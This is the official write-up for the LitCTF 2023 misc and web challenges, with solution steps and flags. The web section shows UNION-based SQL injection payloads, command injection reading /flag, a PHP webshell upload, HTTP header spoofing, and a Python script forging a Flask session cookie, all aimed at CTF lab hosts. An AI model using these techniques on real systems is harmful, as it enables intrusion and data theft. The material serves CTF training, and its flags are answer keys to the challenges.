LitCTF 2023 misc&web wp

LitCTF2023 官方 WriteUp

MISC

What_1s_BASE

知识点:   base64

解题步骤:

ef968e71e7014e658b66e63395ead483.png

09e66f949d1b4d05873a00af6c4e2493.png

LitCTF{KFC_Cr4zy_Thur3day_V_me_50}

Take me hand

知识点:流量分析

解题步骤:

wireshark打开,Ctrl+F 按图示设置搜索flag

14370e1d14cc44dbaa9dfbd50ac87292.png

LitCTF{Give_y0ur_hand_to_me!!!_plz}

404notfound

知识点:图片隐写

解题步骤:

010 Editor打开,搜索litctf

aabb1551760d43a0bb7e602627762ac4.png

LitCTF{Its_404_but_1ts_n0t_a_page}

喜欢我的压缩包么

知识点:   弱口令密码爆破

解题步骤:

5f14d273aef9467182f40648f6019c30.png

3cfbd206d9e5443aab392c26b15d5d0b.png

使用ziperello工具,6位数字爆破

0644227514f3480997680cfa4a44fee4.png

密码:114514   输入解压

da2f719413de4bd8a1b6becacb1deb35.png

LitCTF{Do-u-like-my-zip-p4ck?}

这羽毛球怎么只有一半啊

知识点:图片隐写(宽高)

解题步骤:

100f50e0a54e43e28204ed4ff64a801b.png

05改改06 07还差点,08就够高了

06 33 06 是宽度

07 dc 07 是高度

38ab5bb614fe4f5fa38549f4a1a257f6.png

LitCTF{Fl4g_0fcourse!}

比赛时用工具CRC计算一把梭

破损的图片

知识点:文件头及其十六进制

解题步骤:

根据题目猜测为png图片   

a6c07b87e0e44d4e9b2f3beb2a119afd.png

ceb428af8e054d4fa85863fb6e61965b.png

补充七位文件头:89 50 4E 47 0D 0A 1A 0A

保存,修改后缀名为.png后打开

a82ea5a9afe54f24a0dd07f2ebe0292d.png

LitCTF{May you, the beauty of this world, always shine.}

ssvvgg

知识点:svg格式,base64转文件,steghide爆破

解题步骤:

61fad4f107164e33a165b91d7864c5fe.png

打开看到源码处有base64编码,提取出来

a03828952db748f8ad10bd79032ee5ed.png

放入在线网站转换

保存jpg文件,010查看

7d67904d5c99455bb9c6954f653cde69.png

保存jpg文件到kalisteghide本身没有爆破功能,这里使用stegseek爆破

19219c7c8ff1497e80a6d5d9d94eac4a.png

LitCTF{svg?_base642png!&steghide!}

WEB

Flag呢?

知识点:   查询源代码

解题步骤:

查询源代码

db3e318d0cb24bed96da37fcc2731795.png

NSSCTF{35a119e1-89cf-4133-88d0-61a81d8303f5}

彩蛋1

077c94b88ddd448ba7e996bd3b76b50f.png

LitCTF{First_t0_The_k3y! (1/?)

导弹迷踪

知识点:查找js源码

解题步骤:

找到game.js,代码过第六关的时候会弹出flagflag泄露

38802d194e1c4ed2878ac32ae2a72b53.png

flag{y0u_w1n_th1s_!!!}

Follow me and hack me

知识点:  get     post   备份文件

解题步骤:

NSSCTF{64b164d6-78e9-4fff-b0a6-51804ca156d7}

彩蛋3:

489ef50ddb444e5693cae5c58c5fb5f8.png

dirsearch走一波

ef323a434ca54327bd0e483ddd8de955.png

url/www.zip   下载文件

cde9c074be0d4a679958e09079aa1cd9.png

文本打开bak文件

645b06b034b547dbb545cfd245295ff5.png

_R3ady_P14yer_000ne_(3/?)

ps:这里cookie要等于flag的,但是我火狐没开cookie就跳过了好像,直接出flag了。0.0

PHP是世界上最好的语言!!

知识点:linuxphp语言

解题步骤:

d6219bf9f9384e57ab6ccd25972e77dc.png

system('cat /flag');

NSSCTF{28ceaa6e-ec30-4105-9f80-07148c37f547}

受不了一点

 Vim yyds

知识点:   vim泄露

解题步骤:

vim在编辑文档的过程中如果异常退出,会产生缓存文件,第一次产生的缓存文件后缀为.swp,后面会产生.swo

URL/index.php.swp  或者  .index.php.swp      下载缓存文件

这里/.index.php.swp下载文件

1977483e29fc43e8a7126062af88e14c.png

紧接放入vim看看

口令:vim xxx.swp

074f67c4fd5c4669be12e29b2e3650fe.png

看不到啥东西,试试直接记事本打开看看

706d3258157448e3aaa25592aa91a089.png

php代码,看看逻辑

POST一个参数cmdcmd的值将作为系统命令执行
POST一个参数password,它的值进行base64编码后要强等于它的值

并且告诉我们值为Give_Me_Your_Flag

4179376272144a3aaa42b66c19b181e6.png

构造cmd=cat /flag 得到flag

NSSCTF{2b0de9e7-8e90-411a-8659-4ad5ede0a36e}

作业管理系统

知识点:文件上传,一句话木马

解题步骤:

3c0c5bf317d04aa0acb57bb508934bf7.png

源代码注释处发现用户名和密码

用户名:admin,密码:admin 登录

a23cb4831d704a5d8baa16b9762ae019.png

上传一句话木马文件进去

33b9676bb3984527b02f5a7eb03cf747.png

进入一句话木马文件内,然后运行口令即可

NSSCTF{2d63a23c-8552-48d1-b029-61a727e60845}

彩蛋2

351a263e582a453c8d8151a7d79a8591.png

进入https://github.com/ProbiusOfficial/My_pic/blob/main/demo.jpg

6a49285cc84244e8835065fb3d946be2.png

_S0_ne3t? (2/?)

这是什么?SQL !注一下

知识点: sql手工注入

解题步骤:

748e67b89524499785dea4c94499744d.png

Get一个参数id,给出源码,闭环为6个)

题目给出了列名是 username,password 两个,所以我们也不需要用Order by去爆破列名了

爆破顺序:列数>库>表>列(字段)

列:column,库:schema,表:table

爆库:?id=1)))))) union select 1,group_concat(schema_name) from information_schema.schemata --+

1fd4de846b864089a67fa0f8832dbb43.png

复现只看flag的库:ctftraining

爆表:?id=1)))))) union select 1,group_concat(table_name) from information_schema.tables where table_schema='ctftraining' --+

80e05d8772764cbf825bb4c7fe2666f5.png

爆列:?id=1)))))) union select 1,group_concat(column_name) from information_schema.columns where table_schema = 'ctftraining' --+

d852aeebeb204be8b5ea5f988291c15d.png

得知flag列在flag表在ctftraining库的flag表中,那么将这个列的信息抓出来看看

7419f36b85d84a0cb03707ff77c112ba.png

NSSCTF{3dbfe5bc-0522-4019-aabb-0281184cbf45}

彩蛋4

搜索2就行

802d1231c30d4f4cbb590b827f4a1d08.png

F1rst_to_Th3_eggggggggg!

Http pro max plus

知识点:   ip-Referer-UA-via

解题步骤:

复现就不一步一步展示了,这里一次性列出:

  1. Client-ip: 127.0.0.1 伪造本地访问
  1. Referer: pornhub.com 伪造来源网址
  1. User-Agent: Chrome 伪造使用的浏览器
  1. via: Clash.win 伪造代理服务器地址

da03e32812004b2ba33bf2a00f34c1f6.png

访问/wtfwtfwtfwtf.php

f70732737b074bf59964e2414b55ee8e.png

按钮都是无用项,在源码注释处找到hint

0c01de436eda4d1882e6ce3ebcf3e060.png

访问/sejishikong.php

f7981abca2c94953a0a7033fbed73778.png

NSSCTF{82fca04a-f925-4382-bff5-4fea98e39196}

Ping

知识点:联合执行,burpsuite

解题步骤:

这里展示    --->  %3B

‘cmd1;cmd2   无论前面执行是否成功后面都继续执行

59bb690b2f7b4146be3205446e3cad9c.png

NSSCTF{53ee44eb-716a-4534-90ce-3a6562e1ec91}

PS

当完成某个条件后能够直接弹出 flag,说明 flag 的展示逻辑已经在服务器端实现了,完成条件会触发服务器端返回 flag 的响应。

而当使用 Burp Suite 抓包并发送请求时才能找到 flag,可能是因为 flag 的展示逻辑被实现在客户端的 JavaScript 代码中,而不是服务器端。在这种情况下,完成条件只是触发了客户端的 JavaScript 代码执行,然后根据返回的数据进行处理展示。因此,通过使用 Burp Suite 抓包并修改请求,可以在发送给服务器之前修改请求中的参数,使得服务器返回 flag

1zjs

jsfuck

解题步骤:

19a6a883dcf045a8a9901b6f087bd4ac.png

Your gift just take it : /[email protected]

访问http://node2.anna.nssctf.cn:28116/[email protected]

8dc33aa63cf047db97e661f16060746e.png

全选放控制台

44f0159db2364999ab19ecb7ac8c9581.png

NSSCTF{9b94a89d-ed34-481e-ba8c-b89f9e757a86}

彩蛋

解题步骤:

彩蛋分布于 Flag Follow me and hack me 作业管理系统 狠狠的注入 四个题目

LitCTF{First_t0_The_k3y!_S0_ne3t?_R3ady_P14yer_000ne_F1rst_to_Th3_eggggggggg!}

就当无事发生

知识点:   gitcommitgithub历史记录

解题步骤:

05895362846c459583676edcf4463b79.png

访问博客

99e6338b016243c281acf5fdf55f0746.png

点进第一个博客

d2eb776373aa405aa01502ebe0395485.png

根据wp思路,前往github直接搜索ProbiusOfficial.github.io

e5a2d363590143219fb43a94319a7f1b.png

2bb17f9e32c54a5280d3d8bfb5a8552e.png

9b47abb02cdd4e86bb929e170756cfec.png

这两个都可以,一个是原本,一个是删除flag的,但是操作记录保留了

537f6bd0223b4082946f9c9e54ceeb92.png

LitCTF{g1thub_c0mmit_1s_s0_us3ful}

 Flag点击就送!

知识点:伪造session

解题步骤:

密钥:'LitCTF'
工具:flask-unsign

脚本:

Python
import requests
import string
import subprocess

SECRET_KEY = "LitCTF"

cmd_out = subprocess.check_output(['flask-unsign', '--sign', '--cookie', '{\'name\': \'admin\'}', '--secret', SECRET_KEY])

cookie = {'session' : cmd_out.decode().rstrip()}
response = requests.get('http://node5.anna.nssctf.cn:28403/flag', cookies=cookie)

print(response.text)

42273bb874cc4e7ea6d0631703f39ca3.png

NSSCTF{d971096e-fa62-43a7-be60-70acbd180d12}